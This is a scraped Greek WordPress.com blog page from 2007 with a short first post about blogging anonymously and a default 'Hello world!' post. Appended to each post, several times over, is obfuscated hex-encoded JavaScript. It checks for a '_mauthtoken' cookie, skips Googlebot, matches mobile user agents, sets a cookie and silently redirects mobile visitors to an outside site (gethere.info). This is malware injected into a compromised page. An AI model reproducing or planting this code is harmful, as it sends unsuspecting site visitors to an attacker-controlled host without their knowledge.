)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Μαρτίου 7, 2007

Anwnymoi όλου του κόσμου ενωθείτε.

Filed under: Uncategorized — thelastrealanwnymous @ 11 :10 πμ

Είναι το πρώτο μου ποστ και θέλω να μη επηρεαστείτε από τη «μαχητική» απόχρωση του τίτλου.

Γιατί ανώνυμος;

 Μετά από βδομάδες ανωνυμίας στα μπλογκς θα πω ότι υπάρχει προκατάληψη για μας τους ανώνυμους.  Αυτό μας πληγώνει αλλά αντέχουμε. 🙂

εδώ μπείτε και σχολιάστε όπως θέλετε χωρίς αναστολές.

Δεν σας κρύβω τον ενθουσιασμό μου αυτή τη στιγμή , είναι το πρώτο μου μπλογκ.

Ξέρω ποσο «σας έχω ταλαιπωρήσει» και είμαι έτοιμος να τα ακούσω.

Αυτά , και τώρα χωρίς αστεία όταν γίνουμε κυβέρνηση «κάτι» θα κάνω και για σας.

:):) 

εσεις προς το παρόν σχολιάστε ασύστολα .var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Hello world!

Filed under: Uncategorized — thelastrealanwnymous @ 10 :51 πμ

Welcome to WordPress.com. This is your first post. Edit or delete it and start blogging!var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Blog στο WordPress.com.